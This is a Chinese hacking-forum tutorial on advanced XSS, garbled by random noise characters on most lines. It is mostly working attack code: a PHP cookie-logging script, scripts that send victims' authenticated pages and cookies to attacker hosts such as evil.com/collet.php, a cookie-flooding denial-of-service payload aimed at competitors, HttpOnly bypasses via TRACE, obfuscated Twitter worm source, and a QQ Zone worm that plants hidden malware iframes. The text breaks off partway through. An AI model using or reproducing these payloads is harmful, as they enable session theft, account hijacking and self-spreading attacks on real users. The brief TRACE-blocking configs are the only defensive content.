V) V8 j) X* g1 z! \
" ]$ X9 g" @7 M: ?+ Z4 ?2 \7 u}
$ R6 }* Q8 V0 m# f4 I
0 u9 X+ d; w* f- F; l- O: O
, \& K* b& F/ g f$ Q
7 [' i3 G9 c2 s+ jdoMyAjax('administrator','administrator@alibaba[1].txt');
/ g7 A+ ]# x! Y& N* J7 ^5 M3 q6 q
6 g' }7 M6 h( I0 q- F6 |& b. p2 r U' F: B. Y" V0 h
</script>
6 q0 U* Z6 N1 J9 ]6 S# ?. k7 s, j0 ?* e! `; }/ i3 ]' m
8 k8 H0 E9 ?! u- }: V* _
- |0 L& V8 I* z* O5 @% F0 E2 C# ^7 J* O, N
4 v8 G8 B" D4 T9 I* E* V( Y$ P2 Xa.php. P) ?" I) z0 q! `
! ^" j% a: _9 _2 {7 m! U u
5 E3 r: h+ j. a9 [1 }" r0 m/ D# _
<?php
1 n: v/ a( }! V4 ]2 l7 \$ t7 ~$ w$ b* t2 }" K4 F( f2 s: q$ v
6 k8 D9 ~# ]0 F) b# M. {/ ]2 S# j. a. `4 g; s0 U1 D
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; $ c* t8 `3 [0 O( ?& W+ p1 ?" E
, L" A) Z; i4 _- n" n" O7 l
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
* u# i3 w: I$ z f$ D+ d' o& S, C
! f. t2 `6 u. O5 i/ o: ?" O; X& H
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); ( {6 S4 V2 K3 Z1 E/ b& i- q" K
. c& C. B4 r1 i) M% W. M+ z sfwrite($fp,$_GET["cookie"]);
8 h& G# k3 N7 V7 Y
$ B- @# V. I- e- T0 h+ k% Gfclose($fp); 8 I. _5 p- d' T' _$ N
& N' @! w: R2 U2 J8 C3 E
?>
2 l: v) j# d/ U5 a' I \% `" M复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
5 m! \4 _& i1 s0 m# r, G8 E% B3 Z, q+ o$ N a* F: c! u3 e/ l( x' m
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
+ u) i$ {( I1 `& X2 I( ~: e. E利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.1 y4 }+ r: X+ s: z4 X
1 ^) ~+ v5 X" Z代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);2 k3 ~9 h! a" m
* a& x7 ]7 r1 e5 u+ Q' N: b//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);3 f# [& [9 L% E9 g. K9 l
7 c- |1 Q; C( ~
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);1 N0 ^7 c& t& D; P) l6 j) q; ^( X
* s/ _/ c& J$ L% r: ~1 ]
function getURL(s) {
& p# [* F3 P t9 h# d2 e% }) J) l) X- [8 i- ~% f2 N
var image = new Image();
" T( E; z, E6 @ [* v
6 h3 W7 w# ^5 g' I' A* E/ Fimage.style.width = 0;2 ^& N7 G; L" B. K" q
8 N6 R0 E! }& A# i# D- q- \
image.style.height = 0;% c+ ^8 u3 @" O4 d& P' ~
% H1 A+ z# O5 w) E% l; j$ ]* @/ uimage.src = s;
5 o t- h5 ]* B4 L: m8 B7 w' k* }( \. B
}
1 z) u, @9 A- h
. f, Z9 ~' g7 [' B4 P3 CgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
z; L% n `+ E1 t- Z) X3 l+ R( C复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
! l" g, `) \( }! p- r这里引用大风的一段简单代码:<script language="javascript">0 e1 s. `0 H) K* Z3 v) J
, o: z" u- M2 K' X& qvar metastr = "AAAAAAAAAA"; // 10 A
4 h3 \. P, z" y- r' h Y# M: M
8 W" D3 R U) U8 W0 n1 Ivar str = "";
$ F2 K9 C+ _+ h7 Q+ f8 y: h
' i% O: Z9 V6 jwhile (str.length < 4000){( w# K$ ?0 r4 M% e" ^; k8 l
' g% m$ P( x% `' Z* ^( F
str += metastr;" ~; e' m5 K( y. G
! w0 j& z7 |4 d7 f+ c6 r4 h
}
6 D5 V: b) P* q. H# @6 c1 c
$ C! e" H8 X" f& \8 h
8 ~4 r( z1 F# v$ j4 h) e
) E& Y1 \+ s+ | \. ndocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS9 @7 m3 W3 O+ c, Y2 N
) Q9 n# T# V. R1 x7 z6 M$ K, ]5 \</script>5 A s7 j0 G3 I$ t
- {2 F! p/ l4 a" r
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
/ v H6 a8 h' ], i' I# M' K复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
+ g& o" s8 Q4 I* M6 Q7 Z1 }server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
8 ^, v" H) S$ P% u4 _% T# {! h/ K
7 h8 r8 E1 S) z, C假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
4 v/ Q+ R# Y1 ]# K' Z" N( O攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.9 c7 |# ?% f5 G1 T
: @$ [2 O" o2 Y5 w, B
7 K+ F! n) D: W, v1 H- K
& `+ a4 g) Z+ b9 \. j) U
: t/ t! X) S$ `+ | o
% K& V& W! d9 v9 w
$ o' B) d& L8 V! O: ^) ^8 [(III) Http only bypass 与 补救对策:
5 ~( @- S$ ^$ M5 T: L; e) v- d% x9 N% x' u9 f0 K3 M3 A
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.' n5 A o& C5 ^3 S- _: a
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
+ O$ i2 \! s' W- R5 Q; A. b i! X k( H: l; h
<!--9 V, `- }. }9 _4 s |
" Z2 Z% D! T6 \1 r
function normalCookie() { 8 ?. \: F/ } s% e. e$ ~
/ S, b" ^7 N# L" ^( m) i
document.cookie = "TheCookieName=CookieValue_httpOnly"; & {# @3 u" a, T7 F
0 g# }1 o$ R5 p1 j
alert(document.cookie);1 i( V4 A- z+ D0 O7 C) c
5 r8 e2 i6 I% M1 _9 K) o" K* I f}
+ x' {$ F: n' q* Y8 e. A
1 H4 T) D2 q" |" ?) Q$ j7 q. F3 c U6 s: g6 n! i* B9 O/ Y
' [! `! z+ W, W' Z' {% A
- @* t& \0 V3 y3 E9 o; _. X" q. @* g1 Y3 X( t8 M' ~/ I
function httpOnlyCookie() { 2 @- @) ]4 z# j3 ]6 i: w4 I8 g
* Q: ]+ Y! z, a: W, Ldocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; + @0 d6 b9 @' G; U0 }
6 k8 d# {. R" m# X
alert(document.cookie);}
3 w# z7 T4 f n' m5 z# x7 ^% E; _" c2 J# q1 W
1 {2 y# S' n; w V( J9 h$ ?. Z$ C% [* E7 P3 X% b0 a
//-->% d/ c- M1 W- \6 e
5 |0 R) v1 q; L5 I& |
</script>( s+ F% g1 S- u3 _+ R8 r
$ @) n3 H3 M0 \8 X) |. l% a
# x6 c1 u2 P: T/ ?. l: v0 r' J
; x) T" I$ \% A* k# ^* @# @<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>' z0 l7 {* C, J7 b# x1 F7 K- p
5 S. Z( E3 {' x$ h1 v<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>" r& w5 W, l2 y6 z( ]1 X' H
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script># Q3 e: M! O4 E, N7 J
$ t2 i/ d/ g' J8 x+ @# E6 ?; v* p. n' m# y
, J4 |8 G" m9 m/ |! d8 V: ]) ?
var request = false;
* e8 ?' r0 i( F' m# \/ n; O
1 l0 @) m: \* v# Y if(window.XMLHttpRequest) {
6 h' K$ {8 w1 J1 k" [( U6 q# [& g9 Q1 P e
request = new XMLHttpRequest();2 |( _8 @, |. @' i; E1 L
2 D+ w3 c# i& a$ ]3 P% S2 e
if(request.overrideMimeType) {
( b/ O- ]! ^" \0 S1 f3 _" U" ]$ [: z6 V1 m1 ~! t. P% F
request.overrideMimeType('text/xml');$ p" ?9 Y( `# u
) J% S! P, t ~, h! _7 F& b: a }
: t; C' U, ^4 L$ c4 o [5 P, O" F9 b% S# Z7 v
} else if(window.ActiveXObject) {7 v- R! f% M- _# r3 m, G: S
' E+ n2 j6 w q
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];) ~4 S" V$ |* x) j6 f
) h- c2 ^2 |2 Z4 i2 L- b3 d# g) K' z
for(var i=0; i<versions.length; i++) {
! u3 W1 [/ V5 h9 d
2 F8 \7 Q6 x$ F( r' `# m2 } try {- [ v. A1 H: T6 E
5 S5 P1 e7 S! X! U# M' o1 G* e request = new ActiveXObject(versions);7 Y2 j' D/ i& y$ i9 I
$ I. ?; B* p- q8 u3 A6 d } catch(e) {}- A c/ W/ V# {% X5 B! h6 M
# [3 R1 d$ _/ g- r# ]
}
' {, `: y0 k9 x4 l7 Y4 ^# I. y
, a( R+ @! k1 b }
: K* E1 d# I. {( H* X* d
7 ?" n. Q" K: L/ a8 xxmlHttp=request;
, K& {' L! m/ a8 l& ~
. C- j; H: U1 ixmlHttp.open("TRACE","http://www.vul.com",false);
( `4 {, ?' k: \ m' x4 u% D) j- X- S8 g
xmlHttp.send(null);% @& ?6 z; O2 F; e3 P. r" c, @
9 @% H" c5 @3 f3 H+ } D/ vxmlDoc=xmlHttp.responseText; P5 o1 o7 C; R" _. P8 u& v' H
. Y4 R4 m* [5 R1 M. t" e
alert(xmlDoc);+ O) i: a; i! d' g4 P5 h6 n! l
& m. Y, ?3 X. _% ?8 J+ o' ~
</script>
% [5 P9 R9 Y! P: Q' ~复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>" L3 n# i; O6 P) E1 v* f
& r' {8 w1 n9 } Z9 Hvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
. X# l1 _9 C" y
. Q/ U* f: @6 R+ T0 {( T9 UXmlHttp.open("GET","http://www.google.com",false);
4 Y8 o4 } X+ T. B; g. s
5 w6 @( d' `9 FXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");6 h6 @, x! a0 p2 w" Y
$ z! f! W$ Y0 F1 ]9 X% R0 [XmlHttp.send(null);) b8 K9 k9 ]5 S4 J) {/ j8 W) H+ c
# K _/ N1 i/ s8 E' j4 n; Dvar resource=xmlHttp.responseText
! H$ ~# }# S3 o' s& ^ ^* a3 `1 k, b; ]" J
resource.search(/cookies/);* \! U4 E, {, U
3 O9 p2 p( [/ m8 B% r/ M# M......................! I5 R5 u- n2 y7 D* {" F
1 l: @8 I9 m- `; z1 m</script>/ R! _9 [9 W5 T( L* p' }" L9 P: ?- F& s% {
7 I* |4 O$ g0 y2 V
' p0 ?/ ]. Z* A/ D; c6 E2 \
% s# O/ [9 C& M1 v" c# H! m" Z! r% G1 H0 I; P( f V
) m9 G) ]0 ]5 f8 P6 {9 S M. A+ O4 K如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
0 Q5 _5 \3 s# h5 Q( l6 I9 O' O$ l/ U
[code]
' n6 x. Z( F6 U; w5 L5 F4 A' Q( ~$ E4 |
RewriteEngine On
" q+ }# `, m$ ]5 M4 W# m" n- O8 I d% ~6 z$ r" R
RewriteCond %{REQUEST_METHOD} ^TRACE: T7 P" W) |9 v B; f! d
8 c" ~5 o; l; N: |9 ^( L$ H
RewriteRule .* - [F]% [& v( D1 p* @$ S8 c3 ~! X
5 T* m# X) U/ P" q* C8 U5 V4 U5 T
' q3 P1 d1 B/ A8 D0 H
& r# `' |0 p% x: N1 w$ m, Q! fSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求/ X1 {( e. K, }
; g _6 h) _' Jacl TRACE method TRACE
g, G9 s4 L8 w( l" \
+ h& p% w/ ~0 [# x9 y( z& A- C...
& X2 {+ J4 g: L
\* Y6 x& q0 |# p/ Nhttp_access deny TRACE
' x) t# s, d) E' C% @- I) e! u复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
4 V# P: u, P p$ K' K3 t# h" D( s+ ?# @1 Q
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");1 |+ @7 U. L- _# q6 x2 r
1 |8 _" ^# ?2 J9 C$ vXmlHttp.open("GET","http://www.google.com",false);
( [" t) I3 o6 _ ~' Y% R2 ]2 S0 L
0 \& |9 E+ \( bXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
8 y" Y! {: F; B4 j2 B1 B
% T5 }) }% E! Z) sXmlHttp.send(null);
1 _8 E% b. F2 I2 q8 C
+ |9 f, D. M; @ k, p% n</script>5 }) \ J4 F/ P7 u; ~% d; ?
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>! j( b8 [0 J! U. i2 V
" }3 C0 h- M! j l% Q5 r+ }
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");( y( p) B9 y$ q" S; X- w+ o
7 A1 `( E' ?; Y, F
& }4 P0 o% ^$ \/ h
( j8 B- ^5 Y1 A1 cXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);. C: ?% ]! I. o/ z9 j# H8 B
- M& x3 g p% |2 g) B" D7 |* zXmlHttp.send(null);
; I8 Q- ~" J* s4 R4 _
~9 @. j0 j* a) W n6 P; `6 W8 A<script>
7 m0 m, f' d* C1 z, K# ^复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
" H7 E! A+ _0 D% }5 F复制代码案例:Twitter 蠕蟲五度發威
, A/ O: [ k# U2 X第一版:, ` i7 V* x6 J& B# Q
下载 (5.1 KB)+ Z, w4 }% e+ C6 x5 d
) n8 [# z$ G4 }0 @9 h
6 天前 08:27
4 p- o' k7 \) Y) i9 o' k# `8 x
! M+ W6 c I( S9 _第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 5 J" F6 m0 P0 ^! r
V L! F" P. n& [4 I& f2 y$ e- Y 2. * A8 o1 A" v5 m7 ~8 [" E
+ {) S8 T$ V2 F0 S6 z 3. function XHConn(){ 2 ]7 E* {4 ] Y2 _/ F& J' L
+ C E$ j' d) n% |, i1 Q$ P 4. var _0x6687x2,_0x6687x3=false; / o/ S& S r/ @/ Z* m: t& L4 T
/ L" }8 p/ f. [
5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } , C) D& Q: m; F' U2 ^1 X
9 k0 O( [6 t, @& L4 H* o* s) O 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
: g+ i! x; w9 J: M0 ~+ E3 ?
, C) G5 K& z: N5 D( n! a 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
/ I* P, z4 K; V# ?2 R0 p( [8 m
! ]& r% r, @8 a+ E 8. catch(e) { _0x6687x2=false; }; }; };
& U& r F+ v( y6 z复制代码第六版: 1. function wait() {
, z0 j8 J4 a0 w" ~5 ]0 s% k, u: j! e& o/ j* ] d7 f4 I
2. var content = document.documentElement.innerHTML; # @+ ^1 B: H& ?$ J& ~
0 l9 b( Y) ^0 s
3. var tmp_cookie=document.cookie; 8 N; ? l0 d" \6 E$ Q% S& y. ?
4 j1 c0 ?, p; I2 `( L6 b 4. var tmp_posted=tmp_cookie.match(/posted/);
# X: ~9 R4 z' O9 m" K" ]
- X$ Y& r. W% x4 M 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
4 A" \6 L! C0 r! x1 X: G/ A5 K6 p1 D% [% l* w
6. var authtoken=authreg.exec(content);
, S- q- b6 P- T% ^; o; f9 p- f. ~ e5 N3 T( R. D. o
7. var authtoken=authtoken[1]; % F+ Y1 H$ d( `5 w
9 Q! Z9 K1 ?' @ 8. var randomUpdate= new Array();
' l) i1 G, Z# C0 X; c* j$ F
6 s p: I/ L0 E3 O/ n- e& A 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
" x" A$ [0 I# _9 h
9 m7 g" W, r) Q9 z2 f 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
9 i! q6 K3 k. i+ _/ t" R, J: t8 |3 i4 x* P' _
11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
- O7 k( J( F) o. G1 d
$ x8 y3 l/ E# t' q x8 h 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; * J0 K% x: |1 M% s2 K
l* w9 [2 A0 o2 D* G
13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; 6 Q+ a+ S" G" H
3 N1 C# d& E- \; s
14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; * z0 O- G e$ v% w( V" m
! {/ U. Q( v( h' L( D
15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
# E H: T9 s- ?& ]
9 |3 g4 B& \( `" _" h& p 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 8 F7 |/ X0 ?2 b9 i. T
2 w. M+ b. I/ t5 f 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
2 c4 \3 j3 X& s9 }6 @/ P0 o, @ I+ H, t$ v* w9 f
18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; : R! {; ]& p$ r: L
8 }! H4 }; t4 }$ C
19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
4 ?; E* _% S, i: a) x3 c X ^" H8 \* r/ V! Z
20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
0 F4 J3 m$ K. D; F: c
7 D4 r+ M* M7 H1 w L7 C4 p 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
% T/ F! o; V: w. o' N9 J1 J- d6 x! n2 q, ~4 F
22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
2 W0 Z1 o$ K- y% R# l9 m3 F% x+ G# g% A) R% J
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; 2 K/ d' G. B+ C- u% v4 R: d
; v' i1 z. ^( i9 Q: e$ Q; C3 @
24.
1 j) U4 h1 h# }- n& c: f; t( m/ @) t/ [
25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; : v8 u& {6 j" C: v1 ~
: @' N3 ?. u; j8 j- C3 [ 26. var updateEncode=urlencode(randomUpdate[genRand]);
1 p8 }! |9 e3 ~: k# W
# s4 e7 j* h# F& V 27. ; ^* Y+ _- q8 z( \+ A1 z
( g1 h5 Z5 s, A, w
28. var ajaxConn= new XHConn(); ' E; C. I' h9 }/ t, }8 U# Z5 n* M. U
]6 L0 u0 [+ i3 [% s! ?' K
29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 3 V3 S. H$ ~8 @8 F' y) \
+ t3 _7 E2 L T% ^3 K 30. var _0xf81bx1c="Mikeyy";
& F2 d, Q$ u6 G& n. k' z) _! ?# o& S7 F5 W
31. var updateEncode=urlencode(_0xf81bx1c);
9 i1 A& }2 x8 K1 z/ w/ @
9 ~9 l0 y) X. {7 d6 _' _+ y. @/ Y0 b 32. var ajaxConn1= new XHConn(); & u" d, c- L5 x {0 W9 z" c
6 ]: s8 n0 Q3 x. c
33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); * W0 Q* B+ M7 }2 W, h1 r) k
7 R4 @ i+ x7 c
34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
f' \& `- m- V9 I4 R1 n, y# h6 e2 r9 z- X8 d7 X
35. var XSS=urlencode(genXSS); % F5 R: O1 `7 M& {3 U/ @
" `5 f2 i3 v% b# x) f
36. var ajaxConn2= new XHConn(); 1 T4 e; Z# j5 l
1 e4 o2 Q' ?/ n8 O
37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); : o: k& c" O8 X' r, n) p; v
$ _; u+ I% P7 E+ W! V2 | 38. 5 r; ^, A3 s+ w! L- y( {
! L8 S( Y) V% u% x5 u6 Y7 A7 J
39. } ;
l3 }! Z9 Z1 I( P" Y4 M3 D/ {' q3 v6 q0 z9 }( c+ u1 Y1 v
40. setTimeout(wait(),5250);
4 }: o, a6 ?6 V复制代码QQ空间XSSfunction killErrors() {return true;}; }4 _4 H7 K- b# R6 m0 c
. k5 u+ q0 J! l8 l6 cwindow.onerror=killErrors;
) A7 D" X ~/ _( p% Z! C' P# Q+ ]8 q$ s1 U! \
0 Y9 N) _2 O( N& v: v% T- ^8 r8 A/ q5 B; x
var shendu;shendu=4;
; q( E- g2 z( A; B/ |9 k
- V' \9 W, i" t//---------------global---v------------------------------------------
0 I, @ o7 C0 i+ M2 d" {6 r6 Y9 m% e
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
+ q) n! T3 _# P2 `4 r2 e# T% c
6 ~' f+ c* e( M" l! Jvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
* R& _, r0 X3 H7 c3 y$ B3 }- M: ~2 e4 A( q6 J- W" \
var myblogurl=new Array();var myblogid=new Array();$ a& e4 t0 s$ t% y* f7 G- b
" q* l8 p2 i' G3 \! C# h4 k! A8 H
var gurl=document.location.href;5 r$ b5 J0 X' E% ` ^2 g8 Z
* O8 Z C5 j/ @; D, v" x% ] var gurle=gurl.indexOf("com/");
6 V8 l$ b$ e- N; z; S9 m3 h2 f M I5 J H/ u& a& d. D
gurl=gurl.substring(0,gurle+3);
3 M9 Y- U) K$ R3 x% [: L! B( s
6 N4 y% h/ w4 z. H# E9 D4 @ @ var visitorID=top.document.documentElement.outerHTML;
! F- a/ ?* H/ Z6 f# s/ Q3 Q+ ^+ l* M# t2 A2 I
var cookieS=visitorID.indexOf("g_iLoginUin = ");
2 F; j* b. I6 x1 K" G \
3 j6 w$ D3 ?) {0 ] visitorID=visitorID.substring(cookieS+14);
/ d9 Z9 \8 _8 ^! \' C6 D) N* R' z% W% P. E! v5 ~- A0 C2 k4 p
cookieS=visitorID.indexOf(",");
6 d c9 B' ]+ ^9 e2 Z; \( _& A8 m6 E; L2 F. T
visitorID=visitorID.substring(0,cookieS);
% `4 L/ L4 ]) |0 l/ Q
! ?3 f$ d2 ]# y9 N' v+ i7 O get_my_blog(visitorID);
( g; h! u4 Q4 g
2 `, h7 P" Q' t DOshuamy();
: t/ l, L8 P8 a, k3 t% e" s9 n2 z/ z6 { A( t: W4 J
3 J j- n& a: k+ }+ p' o7 Q2 k1 U l! t
1 G1 ^3 c& ^9 r( K+ ?5 t% q
//挂马
7 C5 ^" e; L' e7 W; T9 s, E+ }: l9 h4 g
function DOshuamy(){
7 ?: Z4 o3 H. R/ |( C: c9 k7 U
6 G$ X" L' |8 M6 Z/ s4 w \7 Uvar ssr=document.getElementById("veryTitle");; G3 ]$ N! e W
& w% w6 h& F' Bssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
- i5 `9 n) i1 {8 w) I
1 d9 U8 n) h8 U4 D' t}2 d: C" h5 E% Q5 E
6 Y9 _! g' c v$ N3 f9 J
, V7 _) B4 Y4 \1 r# ^% T3 q o7 V; ?* M( K" O. \
//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
% _6 t y: @2 \. O3 c$ U8 y9 G. V4 ^. s* i( h- U1 L
function get_my_blog(visitorID){
" L/ N$ ]4 ^9 _3 h1 w. _: Z. o- e& z* P
userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";4 J- g+ D7 R0 e3 w0 [& V
/ Y5 ^+ L& F* a& Y9 W5 ~$ r" F6 f
xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象/ t5 R% H( m( n% J" }2 ]
$ t8 ~' O8 T# z9 p( B8 Y
if(xhr){ //成功就执行下面的) x$ m. }( \( s5 b
' m- I+ z6 ^2 [' h6 M8 ^( { xhr.open("GET",userurl,false); //以GET方式打开定义的URL
3 o; Y$ M% P3 @) B5 r" z7 X" [5 |4 ~# Z1 X. E$ Q/ A" n2 G- y9 m3 B
xhr.send();guest=xhr.responseText;
; P1 H) F9 w6 ]5 B
( a$ }8 ^- X. _* d8 G2 C; k! x get_my_blogurl(guest); //执行这个函数 \7 T- X3 Q/ x k7 ^6 M# ]
1 h i) p3 z8 L+ p }9 o& M% A6 {4 B& {0 w
2 c( W9 S% g/ W1 _& ]" M}
H D- C: T- q9 K4 V4 x6 ?4 h0 ]5 N, X% ?' Q
1 Z G q* q; }- ^# P- m8 m# Q- ~) O- {) E- K! `' f+ R8 x% a
//这里似乎是判断没有登录的
" j T! @ ^0 P. f0 v/ L: }# T2 p: _- n' Q) Y
function get_my_blogurl(guest){& {7 J, q0 @; p
# m! ^! L, d _/ A9 }1 k
var mybloglist=guest;9 d ?% l5 F9 `' ^% A3 X& }6 u
$ X; `% l5 [& d) H" t0 s1 G# X var myurls;var blogids;var blogide;/ T+ b! X; ?3 H' X0 U, M% R
3 s0 {5 `, E4 V/ u6 I1 ]& F: j for(i=0;i<shendu;i++){
& A5 f4 N/ H5 d n* z' E" u% z! q9 I7 n
myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
5 \0 W9 M$ _ Z$ q3 G3 a/ ~% l
0 t7 q! j3 S+ [* L+ H, Z if(myurls!=-1){ //找到了就执行下面的
2 r1 @5 u; A2 N9 S- q2 y3 G- m! U# k" P1 Y* w/ W
mybloglist=mybloglist.substring(myurls+11);
5 Y! |) N( U; n# H" Q
8 a& E# ~' j- j4 A& z/ {" \' j myurls=mybloglist.indexOf(')');3 p3 e x4 p5 N0 K; w! n
# Z4 Z# I. M" n. @" e! d* }+ a
myblogid=mybloglist.substring(0,myurls);+ Q8 u; s3 u4 C3 e
